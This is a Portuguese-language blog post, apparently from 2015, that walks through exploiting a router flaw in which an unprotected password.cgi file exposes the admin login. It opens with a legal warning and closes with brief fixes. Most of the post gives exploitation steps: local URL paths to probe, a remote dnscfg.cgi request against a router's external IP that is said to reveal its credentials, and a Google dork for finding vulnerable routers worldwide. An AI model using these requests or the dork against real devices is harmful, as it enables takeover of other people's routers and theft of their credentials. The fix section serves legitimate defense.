quinta-feira, 21 de maio de 2015



No ano passado, veio à tona uma falha que afetava diversos roteadores, era uma coisa simples, mas que provavelmente ninguém havia pensado antes.

Atenção


Antes de qualquer coisa, lembre-se de que testes de penetração e invasão sem autorização são crime de acordo com a Lei "Carolina Diekman" (12.737/2012) e seus autores estão passíveis de reclusão, use o conhecimento com cautela. Recomendo o uso em um ambiente controlado (se possível) ou em sua rede doméstica para fins educacionais somente.

Após tomar conhecimento disso, vamos ao artigo.

Um login normal


Quando se acessa um roteador pela sua interface web, geralmente se faz pelo ip local, algo como:

192.168.1.1

Quando conectados a porta 80 (padrão de comunicação http) o roteador checa as credenciais de login (inexistentes agora obviamente) e redireciona para a página de login, que é algo como (varia de modelo para modelo):

192.168.1.1/login.php

Então o usuário digita suas credenciais e entra no sistema, lindo.

O perigo dentro de casa


Para que seu aparelho possa reconhecer as credenciais, as mesmas precisam estar num banco de dados ou em algum arquivo dentro do router, esse arquivo é o password.cgi (a extensão pode variar de modelo para modelo).

Até aqui nenhum problema, porém e se o arquivo estivesse na raiz do sistema e desprotegido de criptografia ou mesmo qualquer senha? E se ele fosse acessível de qualquer lugar do mundo pela internet? E se os dados de seu hd externo conectado na porta USB do roteador fossem roubados ou um vírus fosse instalado?

Já é de se imaginar o tamanho do problema. Pois bem como isso funciona? Vou falar no próximo tópico.

Finalmente, explorando a falha


Na rede local


Para verificar se seu roteador está vulnerável o teste é simples, abra um navegador e digite o IP de seu aparelho seguido de password.cgi, ficando assim:

192.168.1.1/password.cgi

Recomendo que teste outras extensões de arquivo:

password.txt
password.php
password.html
password.db

E teste também dentro de outras pastas

/cgi-bin/
/data/
/admin/
/login/

Um exemplo de um link de teste "completo" seria:

192.168.1.1/cgi-bin/password.cgi

Pois bem, se em algum teste uma página em branco ou de erro 404 aparecer, o roteador em questão não está vulnerável.

Caso estejam uma página com as duas palavras (usuario:senha) deve aparecer, assim:

admin:123456

Ou ainda:

admin
123456

Nesse caso, salve as credenciais e bom login.

Remotamente


O processo é bem parecido, porém aqui existem diferenças pequenas, uma delas é que será necessário usar o IP externo do roteador; que não haja um sistema de IPS/IDS/Firewall ativo pois o mesmo pode bloquear o acesso e/ou resposta da página a ser testada; e para achar a falha o "código" muda.

Sem mais delongas, vamos lá. Abra o navegador e entre com o IP externo do roteador e o código abaixo:

dnscfg.cgi?dnsPrimary=DNS1&dnsSecondary=DNS2&dnsDynamic=0&dnsRefresh=1

Ficando assim:

200.0.0.0/dnscfg.cgi?dnsPrimary=DNS1&dnsSecondary=DNS2&dnsDynamic=0&dnsRefresh=1

Caso esteja funcionando as credenciais surgirão na tela.

Usando o google


Por meio do código abaixo, pode-se encontrar possíveis falhas em roteadores pelo mundo:

inrul:"dnscfg.cgi?dnsPrimary=DNS1&dnsSecondary=DNS2&dnsDynamic=0&dnsRefresh=1"

O código acima (também conhecido como "dork") é um exemplo básico, use sua imaginação para adicionar mais filtros e achar resultados mais precisos.

Consertando a falha


Um jeito "fácil" de impedir o ataque externo é usando um IPS/IDS/Firewall devidamente configurado de modo a impedir conexões externas no sistema embarcado de seu roteador. Ou então usar as próprias configurações do roteador para impedir a conexão externa, desativando o login remoto.

A melhor saída é atualizar o firmware de seu roteador, porém nem todos os fabricantes liberaram atualizações que corrigissem essa falha, porém não custa verificar na página de suporte do mesmo.

Outro detalhe que às vezes é esquecido, é o de mudar as senhas e logins padrão do seu aparelho e evitar usar como usuário "admin", "administrador", "user" e outras palavras que fazem parte de logins padrão de roteadores, o mesmo serve para senhas, evite "123456", "654321", "senha", "password" e palavras que estão em dicionários pois isso facilita a ação de pessoas mal intencionadas.

Se quiser dar um "up" na sua segurança de rede wireless doméstica confira algumas dicas neste artigo e nesse outro artigo do nosso blog.

Referências


http://blog.inurl.com.br/2015/03/roteadores-vulneraveis-passwordcgi.html


Obrigado por nos visitar e volte sempre!

"Conhecimento não é crime, crime é o que você faz com ele."

0 comentários:

Postar um comentário

Subscribe to RSS Feed Follow me on Twitter!